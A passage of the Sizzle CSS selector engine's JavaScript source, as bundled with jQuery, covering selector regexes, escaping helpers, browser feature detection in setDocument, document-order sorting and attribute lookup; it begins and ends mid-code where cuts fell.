		// or strings [capture 3 or capture 4]"
		"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + identifier + "))|)" +
		whitespace + "*\\]",

	pseudos = ":(" + identifier + ")(?:\\((" +

		// To reduce the number of selectors needing tokenize in the preFilter, prefer arguments:
		// 1. quoted (capture 3; capture 4 or capture 5)
		"('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|" +

		// 2. simple (capture 6)
		"((?:\\\\.|[^\\\\()[\\]]|" + attributes + ")*)|" +

		// 3. anything else (capture 2)
		".*" +
		")\\)|)",

	// Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter
	rwhitespace = new RegExp( whitespace + "+", "g" ),
	rtrim = new RegExp( "^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" +
		whitespace + "+$", "g" ),

	rcomma = new RegExp( "^" + whitespace + "*," + whitespace + "*" ),
	rcombinators = new RegExp( "^" + whitespace + "*([>+~]|" + whitespace + ")" + whitespace +
		"*" ),
	rdescend = new RegExp( whitespace + "|>" ),

	rpseudo = new RegExp( pseudos ),
	ridentifier = new RegExp( "^" + identifier + "$" ),

	matchExpr = {
		"ID": new RegExp( "^#(" + identifier + ")" ),
		"CLASS": new RegExp( "^\\.(" + identifier + ")" ),
		"TAG": new RegExp( "^(" + identifier + "|[*])" ),
		"ATTR": new RegExp( "^" + attributes ),
		"PSEUDO": new RegExp( "^" + pseudos ),
		"CHILD": new RegExp( "^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" +
			whitespace + "*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" +
			whitespace + "*(\\d+)|))" + whitespace + "*\\)|)", "i" ),
		"bool": new RegExp( "^(?:" + booleans + ")$", "i" ),

		// For use in libraries implementing .is()
		// We use this for POS matching in `select`
		"needsContext": new RegExp( "^" + whitespace +
			"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + whitespace +
			"*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i" )
	},

	rhtml = /HTML$/i,
	rinputs = /^(?:input|select|textarea|button)$/i,
	rheader = /^h\d$/i,

	rnative = /^[^{]+\{\s*\[native \w/,

	// Easily-parseable/retrievable ID or TAG or CLASS selectors
	rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,

	rsibling = /[+~]/,

	// CSS escapes
	// http://www.w3.org/TR/CSS21/syndata.html#escaped-characters
	runescape = new RegExp( "\\\\[\\da-fA-F]{1,6}" + whitespace + "?|\\\\([^\\r\\n\\f])", "g" ),
	funescape = function( escape, nonHex ) {
		var high = "0x" + escape.slice( 1 ) - 0x10000;

		return nonHex ?

			// Strip the backslash prefix from a non-hex escape sequence
			nonHex :

			// Replace a hexadecimal escape sequence with the encoded Unicode code point
			// Support: IE <=11+
			// For values outside the Basic Multilingual Plane (BMP), manually construct a
			// surrogate pair
			high < 0 ?
				String.fromCharCode( high + 0x10000 ) :
				String.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 );
	},

	// CSS string/identifier serialization
	// https://drafts.csswg.org/cssom/#common-serializing-idioms
	rcssescape = /([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,
	fcssescape = function( ch, asCodePoint ) {
		if ( asCodePoint ) {

			// U+0000 NULL becomes U+FFFD REPLACEMENT CHARACTER
			if ( ch === "\0" ) {
				return "\uFFFD";
			}

			// Control characters and (dependent upon position) numbers get escaped as code points
			return ch.slice( 0, -1 ) + "\\" +
				ch.charCodeAt( ch.length - 1 ).toString( 16 ) + " ";
		}

		// Other potentially-special ASCII characters get backslash-escaped
		return "\\" + ch;
	},

	// Used for iframes
	// See setDocument()
	// Removing the function wrapper causes a "Permission Denied"
	// error in IE
	unloadHandler = function() {
		setDocument();
	},

	inDisabledFieldset = addCombinator(
		function( elem ) {
			return elem.disabled === true && elem.nodeName.toLowerCase() === "fieldset";
		},
		{ dir: "parentNode", next: "legend" }
	);

// Optimize for push.apply( _, NodeList )
try {
	push.apply(
		( arr = slice.call( preferredDoc.childNodes ) ),
		preferredDoc.childNodes
	);

	// Support: Android<4.0
	// Detect silently failing push.apply
	// eslint-disable-next-line no-unused-expressions
	arr[ preferredDoc.childNodes.length ].nodeType;
} catch ( e ) {
	push = { apply: arr.length ?

		// Leverage slice if possible
		function( target, els ) {
			pushNative.apply( target, slice.call( els ) );
		} :

		// Support: IE<9
		// Otherwise append directly
		function( target, els ) {
			var j = target.length,
				i = 0;

			// Can't trust NodeList.length
			while ( ( target[ j++ ] = els[ i++ ] ) ) {}
			target.length = j - 1;
		}
	};
}

function Sizzle( selector, context, results, seed ) {
	var m, i, elem, nid, match, groups, newSelector,
		newContext = context && context.ownerDocument,

		// nodeType defaults to 9, since context defaults to document
		nodeType = context ? context.nodeType : 9;

	results = results || [];

	// Return early from calls with invalid selector or context
	if ( typeof selector !== "string" || !selector ||
		nodeType !== 1 && nodeType !== 9 && nodeType !== 11 ) {

		return results;
	}

	// Try to shortcut find operations (as opposed to filters) in HTML documents
	if ( !seed ) {
		setDocument( context );
		context = context || document;

		if ( documentIsHTML ) {

			// If the selector is sufficiently simple, try using a "get*By*" DOM method
			// (excepting DocumentFragment context, where the methods don't exist)
			if ( nodeType !== 11 && ( match = rquickExpr.exec( selector ) ) ) {

				// ID selector
				if ( ( m = match[ 1 ] ) ) {

					// Document context
					if ( nodeType === 9 ) {
						if ( ( elem = context.getElementById( m ) ) ) {

							// Support: IE, Opera, Webkit
							// TODO: identify versions
							// getElementById can match elements by name instead of ID
							if ( elem.id === m ) {
								results.push( elem );
								return results;
							}
						} else {
							return results;
						}

					// Element context
					} else {

						// Support: IE, Opera, Webkit
						// TODO: identify versions
						// getElementById can match elements by name instead of ID
						if ( newContext && ( elem = newContext.getElementById( m ) ) &&
							contains( context, elem ) &&
							elem.id === m ) {

							results.push( elem );
							return results;
						}
					}

				// Type selector
				} else if ( match[ 2 ] ) {
					push.apply( results, context.getElementsByTagName( selector ) );
					return results;

				// Class selector
				} else if ( ( m = match[ 3 ] ) && support.getElementsByClassName &&
					context.getElementsByClassName ) {

					push.apply( results, context.getElementsByClassName( m ) );
					return results;
				}
			}

			// Take advantage of querySelectorAll
			if ( support.qsa &&
				!nonnativeSelectorCache[ selector + " " ] &&
				( !rbuggyQSA || !rbuggyQSA.test( selector ) ) &&

				// Support: IE 8 only
				// Exclude object elements
				( nodeType !== 1 || context.nodeName.toLowerCase() !== "object" ) ) {

				newSelector = selector;
				newContext = context;

				// qSA considers elements outside a scoping root when evaluating child or
				// descendant combinators, which is not what we want.
				// In such cases, we work around the behavior by prefixing every selector in the
				// list with an ID selector referencing the scope context.
				// The technique has to be used as well when a leading combinator is used
				// as such selectors are not recognized by querySelectorAll.
				// Thanks to Andrew Dupont for this technique.
				if ( nodeType === 1 &&
					( rdescend.test( selector ) || rcombinators.test( selector ) ) ) {

					// Expand context for sibling selectors
					newContext = rsibling.test( selector ) && testContext( context.parentNode ) ||
						context;

					// We can use :scope instead of the ID hack if the browser
					// supports it & if we're not changing the context.
					if ( newContext !== context || !support.scope ) {

						// Capture the context ID, setting it first if necessary
						if ( ( nid = context.getAttribute( "id" ) ) ) {
							nid = nid.replace( rcssescape, fcssescape );
						} else {
							context.setAttribute( "id", ( nid = expando ) );
						}
					}

					// Prefix every selector in the list
					groups = tokenize( selector );
					i = groups.length;
					while ( i-- ) {
						groups[ i ] = ( nid ? "#" + nid : ":scope" ) + " " +
							toSelector( groups[ i ] );
					}
					newSelector = groups.join( "," );
				}

				try {
					push.apply( results,
						newContext.querySelectorAll( newSelector )
					);
					return results;
				} catch ( qsaError ) {
					nonnativeSelectorCache( selector, true );
				} finally {
					if ( nid === expando ) {
						context.removeAttribute( "id" );
					}
				}
			}
		}
	}

	// All others
	return select( selector.replace( rtrim, "$1" ), context, results, seed );
}

/**
 * Create key-value caches of limited size
 * @returns {function(string, object)} Returns the Object data after storing it on itself with
 *	property name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength)
 *	deleting the oldest entry
 */
function createCache() {
	var keys = [];

	function cache( key, value ) {

		// Use (key + " ") to avoid collision with native prototype properties (see Issue #157)
		if ( keys.push( key + " " ) > Expr.cacheLength ) {

			// Only keep the most recent entries
			delete cache[ keys.shift() ];
		}
		return ( cache[ key + " " ] = value );
	}
	return cache;
}

/**
 * Mark a function for special use by Sizzle
 * @param {Function} fn The function to mark
 */
function markFunction( fn ) {
	fn[ expando ] = true;
	return fn;
}

/**
 * Support testing using an element
 * @param {Function} fn Passed the created element and returns a boolean result
 */
function assert( fn ) {
	var el = document.createElement( "fieldset" );

	try {
		return !!fn( el );
	} catch ( e ) {
		return false;
	} finally {

		// Remove from its parent by default
		if ( el.parentNode ) {
			el.parentNode.removeChild( el );
		}

		// release memory in IE
		el = null;
	}
}

/**
 * Adds the same handler for all of the specified attrs
 * @param {String} attrs Pipe-separated list of attributes
 * @param {Function} handler The method that will be applied
 */
function addHandle( attrs, handler ) {
	var arr = attrs.split( "|" ),
		i = arr.length;

	while ( i-- ) {
		Expr.attrHandle[ arr[ i ] ] = handler;
	}
}

/**
 * Checks document order of two siblings
 * @param {Element} a
 * @param {Element} b
 * @returns {Number} Returns less than 0 if a precedes b, greater than 0 if a follows b
 */
function siblingCheck( a, b ) {
	var cur = b && a,
		diff = cur && a.nodeType === 1 && b.nodeType === 1 &&
			a.sourceIndex - b.sourceIndex;

	// Use IE sourceIndex if available on both nodes
	if ( diff ) {
		return diff;
	}

	// Check if b follows a
	if ( cur ) {
		while ( ( cur = cur.nextSibling ) ) {
			if ( cur === b ) {
				return -1;
			}
		}
	}

	return a ? 1 : -1;
}

/**
 * Returns a function to use in pseudos for input types
 * @param {String} type
 */
function createInputPseudo( type ) {
	return function( elem ) {
		var name = elem.nodeName.toLowerCase();
		return name === "input" && elem.type === type;
	};
}

/**
 * Returns a function to use in pseudos for buttons
 * @param {String} type
 */
function createButtonPseudo( type ) {
	return function( elem ) {
		var name = elem.nodeName.toLowerCase();
		return ( name === "input" || name === "button" ) && elem.type === type;
	};
}

/**
 * Returns a function to use in pseudos for :enabled/:disabled
 * @param {Boolean} disabled true for :disabled; false for :enabled
 */
function createDisabledPseudo( disabled ) {

	// Known :disabled false positives: fieldset[disabled] > legend:nth-of-type(n+2) :can-disable
	return function( elem ) {

		// Only certain elements can match :enabled or :disabled
		// https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled
		// https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled
		if ( "form" in elem ) {

			// Check for inherited disabledness on relevant non-disabled elements:
			// * listed form-associated elements in a disabled fieldset
			//   https://html.spec.whatwg.org/multipage/forms.html#category-listed
			//   https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled
			// * option elements in a disabled optgroup
			//   https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled
			// All such elements have a "form" property.
			if ( elem.parentNode && elem.disabled === false ) {

				// Option elements defer to a parent optgroup if present
				if ( "label" in elem ) {
					if ( "label" in elem.parentNode ) {
						return elem.parentNode.disabled === disabled;
					} else {
						return elem.disabled === disabled;
					}
				}

				// Support: IE 6 - 11
				// Use the isDisabled shortcut property to check for disabled fieldset ancestors
				return elem.isDisabled === disabled ||

					// Where there is no isDisabled, check manually
					/* jshint -W018 */
					elem.isDisabled !== !disabled &&
					inDisabledFieldset( elem ) === disabled;
			}

			return elem.disabled === disabled;

		// Try to winnow out elements that can't be disabled before trusting the disabled property.
		// Some victims get caught in our net (label, legend, menu, track), but it shouldn't
		// even exist on them, let alone have a boolean value.
		} else if ( "label" in elem ) {
			return elem.disabled === disabled;
		}

		// Remaining elements are neither :enabled nor :disabled
		return false;
	};
}

/**
 * Returns a function to use in pseudos for positionals
 * @param {Function} fn
 */
function createPositionalPseudo( fn ) {
	return markFunction( function( argument ) {
		argument = +argument;
		return markFunction( function( seed, matches ) {
			var j,
				matchIndexes = fn( [], seed.length, argument ),
				i = matchIndexes.length;

			// Match elements found at the specified indexes
			while ( i-- ) {
				if ( seed[ ( j = matchIndexes[ i ] ) ] ) {
					seed[ j ] = !( matches[ j ] = seed[ j ] );
				}
			}
		} );
	} );
}

/**
 * Checks a node for validity as a Sizzle context
 * @param {Element|Object=} context
 * @returns {Element|Object|Boolean} The input node if acceptable, otherwise a falsy value
 */
function testContext( context ) {
	return context && typeof context.getElementsByTagName !== "undefined" && context;
}

// Expose support vars for convenience
support = Sizzle.support = {};

/**
 * Detects XML nodes
 * @param {Element|Object} elem An element or a document
 * @returns {Boolean} True iff elem is a non-HTML XML node
 */
isXML = Sizzle.isXML = function( elem ) {
	var namespace = elem && elem.namespaceURI,
		docElem = elem && ( elem.ownerDocument || elem ).documentElement;

	// Support: IE <=8
	// Assume HTML when documentElement doesn't yet exist, such as inside loading iframes
	// https://bugs.jquery.com/ticket/4833
	return !rhtml.test( namespace || docElem && docElem.nodeName || "HTML" );
};

/**
 * Sets document-related variables once based on the current document
 * @param {Element|Object} [doc] An element or document object to use to set the document
 * @returns {Object} Returns the current document
 */
setDocument = Sizzle.setDocument = function( node ) {
	var hasCompare, subWindow,
		doc = node ? node.ownerDocument || node : preferredDoc;

	// Return early if doc is invalid or already selected
	// Support: IE 11+, Edge 17 - 18+
	// IE/Edge sometimes throw a "Permission denied" error when strict-comparing
	// two documents; shallow comparisons work.
	// eslint-disable-next-line eqeqeq
	if ( doc == document || doc.nodeType !== 9 || !doc.documentElement ) {
		return document;
	}

	// Update global variables
	document = doc;
	docElem = document.documentElement;
	documentIsHTML = !isXML( document );

	// Support: IE 9 - 11+, Edge 12 - 18+
	// Accessing iframe documents after unload throws "permission denied" errors (jQuery #13936)
	// Support: IE 11+, Edge 17 - 18+
	// IE/Edge sometimes throw a "Permission denied" error when strict-comparing
	// two documents; shallow comparisons work.
	// eslint-disable-next-line eqeqeq
	if ( preferredDoc != document &&
		( subWindow = document.defaultView ) && subWindow.top !== subWindow ) {

		// Support: IE 11, Edge
		if ( subWindow.addEventListener ) {
			subWindow.addEventListener( "unload", unloadHandler, false );

		// Support: IE 9 - 10 only
		} else if ( subWindow.attachEvent ) {
			subWindow.attachEvent( "onunload", unloadHandler );
		}
	}

	// Support: IE 8 - 11+, Edge 12 - 18+, Chrome <=16 - 25 only, Firefox <=3.6 - 31 only,
	// Safari 4 - 5 only, Opera <=11.6 - 12.x only
	// IE/Edge & older browsers don't support the :scope pseudo-class.
	// Support: Safari 6.0 only
	// Safari 6.0 supports :scope but it's an alias of :root there.
	support.scope = assert( function( el ) {
		docElem.appendChild( el ).appendChild( document.createElement( "div" ) );
		return typeof el.querySelectorAll !== "undefined" &&
			!el.querySelectorAll( ":scope fieldset div" ).length;
	} );

	/* Attributes
	---------------------------------------------------------------------- */

	// Support: IE<8
	// Verify that getAttribute really returns attributes and not properties
	// (excepting IE8 booleans)
	support.attributes = assert( function( el ) {
		el.className = "i";
		return !el.getAttribute( "className" );
	} );

	/* getElement(s)By*
	---------------------------------------------------------------------- */

	// Check if getElementsByTagName("*") returns only elements
	support.getElementsByTagName = assert( function( el ) {
		el.appendChild( document.createComment( "" ) );
		return !el.getElementsByTagName( "*" ).length;
	} );

	// Support: IE<9
	support.getElementsByClassName = rnative.test( document.getElementsByClassName );

	// Support: IE<10
	// Check if getElementById returns elements by name
	// The broken getElementById methods don't pick up programmatically-set names,
	// so use a roundabout getElementsByName test
	support.getById = assert( function( el ) {
		docElem.appendChild( el ).id = expando;
		return !document.getElementsByName || !document.getElementsByName( expando ).length;
	} );

	// ID filter and find
	if ( support.getById ) {
		Expr.filter[ "ID" ] = function( id ) {
			var attrId = id.replace( runescape, funescape );
			return function( elem ) {
				return elem.getAttribute( "id" ) === attrId;
			};
		};
		Expr.find[ "ID" ] = function( id, context ) {
			if ( typeof context.getElementById !== "undefined" && documentIsHTML ) {
				var elem = context.getElementById( id );
				return elem ? [ elem ] : [];
			}
		};
	} else {
		Expr.filter[ "ID" ] =  function( id ) {
			var attrId = id.replace( runescape, funescape );
			return function( elem ) {
				var node = typeof elem.getAttributeNode !== "undefined" &&
					elem.getAttributeNode( "id" );
				return node && node.value === attrId;
			};
		};

		// Support: IE 6 - 7 only
		// getElementById is not reliable as a find shortcut
		Expr.find[ "ID" ] = function( id, context ) {
			if ( typeof context.getElementById !== "undefined" && documentIsHTML ) {
				var node, i, elems,
					elem = context.getElementById( id );

				if ( elem ) {

					// Verify the id attribute
					node = elem.getAttributeNode( "id" );
					if ( node && node.value === id ) {
						return [ elem ];
					}

					// Fall back on getElementsByName
					elems = context.getElementsByName( id );
					i = 0;
					while ( ( elem = elems[ i++ ] ) ) {
						node = elem.getAttributeNode( "id" );
						if ( node && node.value === id ) {
							return [ elem ];
						}
					}
				}

				return [];
			}
		};
	}

	// Tag
	Expr.find[ "TAG" ] = support.getElementsByTagName ?
		function( tag, context ) {
			if ( typeof context.getElementsByTagName !== "undefined" ) {
				return context.getElementsByTagName( tag );

			// DocumentFragment nodes don't have gEBTN
			} else if ( support.qsa ) {
				return context.querySelectorAll( tag );
			}
		} :

		function( tag, context ) {
			var elem,
				tmp = [],
				i = 0,

				// By happy coincidence, a (broken) gEBTN appears on DocumentFragment nodes too
				results = context.getElementsByTagName( tag );

			// Filter out possible comments
			if ( tag === "*" ) {
				while ( ( elem = results[ i++ ] ) ) {
					if ( elem.nodeType === 1 ) {
						tmp.push( elem );
					}
				}

				return tmp;
			}
			return results;
		};

	// Class
	Expr.find[ "CLASS" ] = support.getElementsByClassName && function( className, context ) {
		if ( typeof context.getElementsByClassName !== "undefined" && documentIsHTML ) {
			return context.getElementsByClassName( className );
		}
	};

	/* QSA/matchesSelector
	---------------------------------------------------------------------- */

	// QSA and matchesSelector support

	// matchesSelector(:active) reports false when true (IE9/Opera 11.5)
	rbuggyMatches = [];

	// qSa(:focus) reports false when true (Chrome 21)
	// We allow this because of a bug in IE8/9 that throws an error
	// whenever `document.activeElement` is accessed on an iframe
	// So, we allow :focus to pass through QSA all the time to avoid the IE error
	// See https://bugs.jquery.com/ticket/13378
	rbuggyQSA = [];

	if ( ( support.qsa = rnative.test( document.querySelectorAll ) ) ) {

		// Build QSA regex
		// Regex strategy adopted from Diego Perini
		assert( function( el ) {

			var input;

			// Select is set to empty string on purpose
			// This is to test IE's treatment of not explicitly
			// setting a boolean content attribute,
			// since its presence should be enough
			// https://bugs.jquery.com/ticket/12359
			docElem.appendChild( el ).innerHTML = "<a id='" + expando + "'></a>" +
				"<select id='" + expando + "-\r\\' msallowcapture=''>" +
				"<option selected=''></option></select>";

			// Support: IE8, Opera 11-12.16
			// Nothing should be selected when empty strings follow ^= or $= or *=
			// The test attribute must be unknown in Opera but "safe" for WinRT
			// https://msdn.microsoft.com/en-us/library/ie/hh465388.aspx#attribute_section
			if ( el.querySelectorAll( "[msallowcapture^='']" ).length ) {
				rbuggyQSA.push( "[*^$]=" + whitespace + "*(?:''|\"\")" );
			}

			// Support: IE8
			// Boolean attributes and "value" are not treated correctly
			if ( !el.querySelectorAll( "[selected]" ).length ) {
				rbuggyQSA.push( "\\[" + whitespace + "*(?:value|" + booleans + ")" );
			}

			// Support: Chrome<29, Android<4.4, Safari<7.0+, iOS<7.0+, PhantomJS<1.9.8+
			if ( !el.querySelectorAll( "[id~=" + expando + "-]" ).length ) {
				rbuggyQSA.push( "~=" );
			}

			// Support: IE 11+, Edge 15 - 18+
			// IE 11/Edge don't find elements on a `[name='']` query in some cases.
			// Adding a temporary attribute to the document before the selection works
			// around the issue.
			// Interestingly, IE 10 & older don't seem to have the issue.
			input = document.createElement( "input" );
			input.setAttribute( "name", "" );
			el.appendChild( input );
			if ( !el.querySelectorAll( "[name='']" ).length ) {
				rbuggyQSA.push( "\\[" + whitespace + "*name" + whitespace + "*=" +
					whitespace + "*(?:''|\"\")" );
			}

			// Webkit/Opera - :checked should return selected option elements
			// http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked
			// IE8 throws error here and will not see later tests
			if ( !el.querySelectorAll( ":checked" ).length ) {
				rbuggyQSA.push( ":checked" );
			}

			// Support: Safari 8+, iOS 8+
			// https://bugs.webkit.org/show_bug.cgi?id=136851
			// In-page `selector#id sibling-combinator selector` fails
			if ( !el.querySelectorAll( "a#" + expando + "+*" ).length ) {
				rbuggyQSA.push( ".#.+[+~]" );
			}

			// Support: Firefox <=3.6 - 5 only
			// Old Firefox doesn't throw on a badly-escaped identifier.
			el.querySelectorAll( "\\\f" );
			rbuggyQSA.push( "[\\r\\n\\f]" );
		} );

		assert( function( el ) {
			el.innerHTML = "<a href='' disabled='disabled'></a>" +
				"<select disabled='disabled'><option/></select>";

			// Support: Windows 8 Native Apps
			// The type and name attributes are restricted during .innerHTML assignment
			var input = document.createElement( "input" );
			input.setAttribute( "type", "hidden" );
			el.appendChild( input ).setAttribute( "name", "D" );

			// Support: IE8
			// Enforce case-sensitivity of name attribute
			if ( el.querySelectorAll( "[name=d]" ).length ) {
				rbuggyQSA.push( "name" + whitespace + "*[*^$|!~]?=" );
			}

			// FF 3.5 - :enabled/:disabled and hidden elements (hidden elements are still enabled)
			// IE8 throws error here and will not see later tests
			if ( el.querySelectorAll( ":enabled" ).length !== 2 ) {
				rbuggyQSA.push( ":enabled", ":disabled" );
			}

			// Support: IE9-11+
			// IE's :disabled selector does not pick up the children of disabled fieldsets
			docElem.appendChild( el ).disabled = true;
			if ( el.querySelectorAll( ":disabled" ).length !== 2 ) {
				rbuggyQSA.push( ":enabled", ":disabled" );
			}

			// Support: Opera 10 - 11 only
			// Opera 10-11 does not throw on post-comma invalid pseudos
			el.querySelectorAll( "*,:x" );
			rbuggyQSA.push( ",.*:" );
		} );
	}

	if ( ( support.matchesSelector = rnative.test( ( matches = docElem.matches ||
		docElem.webkitMatchesSelector ||
		docElem.mozMatchesSelector ||
		docElem.oMatchesSelector ||
		docElem.msMatchesSelector ) ) ) ) {

		assert( function( el ) {

			// Check to see if it's possible to do matchesSelector
			// on a disconnected node (IE 9)
			support.disconnectedMatch = matches.call( el, "*" );

			// This should fail with an exception
			// Gecko does not error, returns false instead
			matches.call( el, "[s!='']:x" );
			rbuggyMatches.push( "!=", pseudos );
		} );
	}

	rbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join( "|" ) );
	rbuggyMatches = rbuggyMatches.length && new RegExp( rbuggyMatches.join( "|" ) );

	/* Contains
	---------------------------------------------------------------------- */
	hasCompare = rnative.test( docElem.compareDocumentPosition );

	// Element contains another
	// Purposefully self-exclusive
	// As in, an element does not contain itself
	contains = hasCompare || rnative.test( docElem.contains ) ?
		function( a, b ) {
			var adown = a.nodeType === 9 ? a.documentElement : a,
				bup = b && b.parentNode;
			return a === bup || !!( bup && bup.nodeType === 1 && (
				adown.contains ?
					adown.contains( bup ) :
					a.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16
			) );
		} :
		function( a, b ) {
			if ( b ) {
				while ( ( b = b.parentNode ) ) {
					if ( b === a ) {
						return true;
					}
				}
			}
			return false;
		};

	/* Sorting
	---------------------------------------------------------------------- */

	// Document order sorting
	sortOrder = hasCompare ?
	function( a, b ) {

		// Flag for duplicate removal
		if ( a === b ) {
			hasDuplicate = true;
			return 0;
		}

		// Sort on method existence if only one input has compareDocumentPosition
		var compare = !a.compareDocumentPosition - !b.compareDocumentPosition;
		if ( compare ) {
			return compare;
		}

		// Calculate position if both inputs belong to the same document
		// Support: IE 11+, Edge 17 - 18+
		// IE/Edge sometimes throw a "Permission denied" error when strict-comparing
		// two documents; shallow comparisons work.
		// eslint-disable-next-line eqeqeq
		compare = ( a.ownerDocument || a ) == ( b.ownerDocument || b ) ?
			a.compareDocumentPosition( b ) :

			// Otherwise we know they are disconnected
			1;

		// Disconnected nodes
		if ( compare & 1 ||
			( !support.sortDetached && b.compareDocumentPosition( a ) === compare ) ) {

			// Choose the first element that is related to our preferred document
			// Support: IE 11+, Edge 17 - 18+
			// IE/Edge sometimes throw a "Permission denied" error when strict-comparing
			// two documents; shallow comparisons work.
			// eslint-disable-next-line eqeqeq
			if ( a == document || a.ownerDocument == preferredDoc &&
				contains( preferredDoc, a ) ) {
				return -1;
			}

			// Support: IE 11+, Edge 17 - 18+
			// IE/Edge sometimes throw a "Permission denied" error when strict-comparing
			// two documents; shallow comparisons work.
			// eslint-disable-next-line eqeqeq
			if ( b == document || b.ownerDocument == preferredDoc &&
				contains( preferredDoc, b ) ) {
				return 1;
			}

			// Maintain original order
			return sortInput ?
				( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) :
				0;
		}

		return compare & 4 ? -1 : 1;
	} :
	function( a, b ) {

		// Exit early if the nodes are identical
		if ( a === b ) {
			hasDuplicate = true;
			return 0;
		}

		var cur,
			i = 0,
			aup = a.parentNode,
			bup = b.parentNode,
			ap = [ a ],
			bp = [ b ];

		// Parentless nodes are either documents or disconnected
		if ( !aup || !bup ) {

			// Support: IE 11+, Edge 17 - 18+
			// IE/Edge sometimes throw a "Permission denied" error when strict-comparing
			// two documents; shallow comparisons work.
			/* eslint-disable eqeqeq */
			return a == document ? -1 :
				b == document ? 1 :
				/* eslint-enable eqeqeq */
				aup ? -1 :
				bup ? 1 :
				sortInput ?
				( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) :
				0;

		// If the nodes are siblings, we can do a quick check
		} else if ( aup === bup ) {
			return siblingCheck( a, b );
		}

		// Otherwise we need full lists of their ancestors for comparison
		cur = a;
		while ( ( cur = cur.parentNode ) ) {
			ap.unshift( cur );
		}
		cur = b;
		while ( ( cur = cur.parentNode ) ) {
			bp.unshift( cur );
		}

		// Walk down the tree looking for a discrepancy
		while ( ap[ i ] === bp[ i ] ) {
			i++;
		}

		return i ?

			// Do a sibling check if the nodes have a common ancestor
			siblingCheck( ap[ i ], bp[ i ] ) :

			// Otherwise nodes in our document sort first
			// Support: IE 11+, Edge 17 - 18+
			// IE/Edge sometimes throw a "Permission denied" error when strict-comparing
			// two documents; shallow comparisons work.
			/* eslint-disable eqeqeq */
			ap[ i ] == preferredDoc ? -1 :
			bp[ i ] == preferredDoc ? 1 :
			/* eslint-enable eqeqeq */
			0;
	};

	return document;
};

Sizzle.matches = function( expr, elements ) {
	return Sizzle( expr, null, null, elements );
};

Sizzle.matchesSelector = function( elem, expr ) {
	setDocument( elem );

	if ( support.matchesSelector && documentIsHTML &&
		!nonnativeSelectorCache[ expr + " " ] &&
		( !rbuggyMatches || !rbuggyMatches.test( expr ) ) &&
		( !rbuggyQSA     || !rbuggyQSA.test( expr ) ) ) {

		try {
			var ret = matches.call( elem, expr );

			// IE 9's matchesSelector returns false on disconnected nodes
			if ( ret || support.disconnectedMatch ||

				// As well, disconnected nodes are said to be in a document
				// fragment in IE 9
				elem.document && elem.document.nodeType !== 11 ) {
				return ret;
			}
		} catch ( e ) {
			nonnativeSelectorCache( expr, true );
		}
	}

	return Sizzle( expr, document, null, [ elem ] ).length > 0;
};

Sizzle.contains = function( context, elem ) {

	// Set document vars if needed
	// Support: IE 11+, Edge 17 - 18+
	// IE/Edge sometimes throw a "Permission denied" error when strict-comparing
	// two documents; shallow comparisons work.
	// eslint-disable-next-line eqeqeq
	if ( ( context.ownerDocument || context ) != document ) {
		setDocument( context );
	}
	return contains( context, elem );
};

Sizzle.attr = function( elem, name ) {

	// Set document vars if needed
	// Support: IE 11+, Edge 17 - 18+
	// IE/Edge sometimes throw a "Permission denied" error when strict-comparing
	// two documents; shallow comparisons work.
	// eslint-disable-next-line eqeqeq
	if ( ( elem.ownerDocument || elem ) != document ) {
		setDocument( elem );
	}

	var fn = Expr.attrHandle[ name.toLowerCase() ],

		// Don't get fooled by Object.prototype properties (jQuery #13807)
		val = fn && hasOwn.call( Expr.attrHandle, name.toLowerCase() ) ?
			fn( elem, name, !documentIsHTML ) :
			undefined;

	return val !== undefined ?
		val :
		support.attributes || !documentIsHTML ?
			elem.getAttribute( name ) :
			( val = elem.getAttributeNode( name ) ) && val.specified ?
				val.value :
				null;
};

Sizzle.escape = function( sel ) {
	return ( sel + "" ).replace( rcssescape, fcssescape );
};

Sizzle.error = function( msg ) {
	throw new Error( "Syntax error, unrecognized expression: " + msg );
};

/**
 * Document sorting and removing duplicates
 * @param {ArrayLike} results
 */
Sizzle.uniqueSort = function( results ) {
	var elem,
		duplicates = [],
		j = 0,
		i = 0;

	// Unless we *know* we can detect duplicates, assume their presence
	hasDuplicate = !support.detectDuplicates;
	sortInput = !support.sortStable && results.slice( 0 );
	results.sort( sortOrder );

	if ( hasDuplicate ) {
		while ( ( elem = results[ i++ ] ) ) {
			if ( elem === results[ i ] ) {
				j = duplicates.push( i );
			}
		}
		while ( j-- ) {
			results.splice( duplicates[ j ], 1 );
		}
	}

	// Clear input after sorting to release objects
	// See https://github.com/jquery/sizzle/pull/225
	sortInput = null;

	return results;
};

/**
 * Utility function for retrieving the text value of an array of DOM nodes
 * @param {Array|Element} elem
 */
getText = Sizzle.getText = function( elem ) {
	var node,
		ret = "",
		i = 0,
		nodeType = elem.nodeType;

	if ( !nodeType ) {

		// If no nodeType, this is expected to be an array
		while ( ( node = elem[ i++ ] ) ) {

			// Do not traverse comment nodes
			ret += getText( node );
		}
	} else if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) {

		// Use textContent for elements
		// innerText usage removed for consistency of new lines (jQuery #11153)
		if ( typeof elem.textContent === "string" ) {
			return elem.textContent;
		} else {

			// Traverse its children
			for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {
				ret += getText( elem );
			}
		}
	} else if ( nodeType === 3 || nodeType === 4 ) {
		return elem.nodeValue;
	}

	// Do not include comment or processing instruction nodes

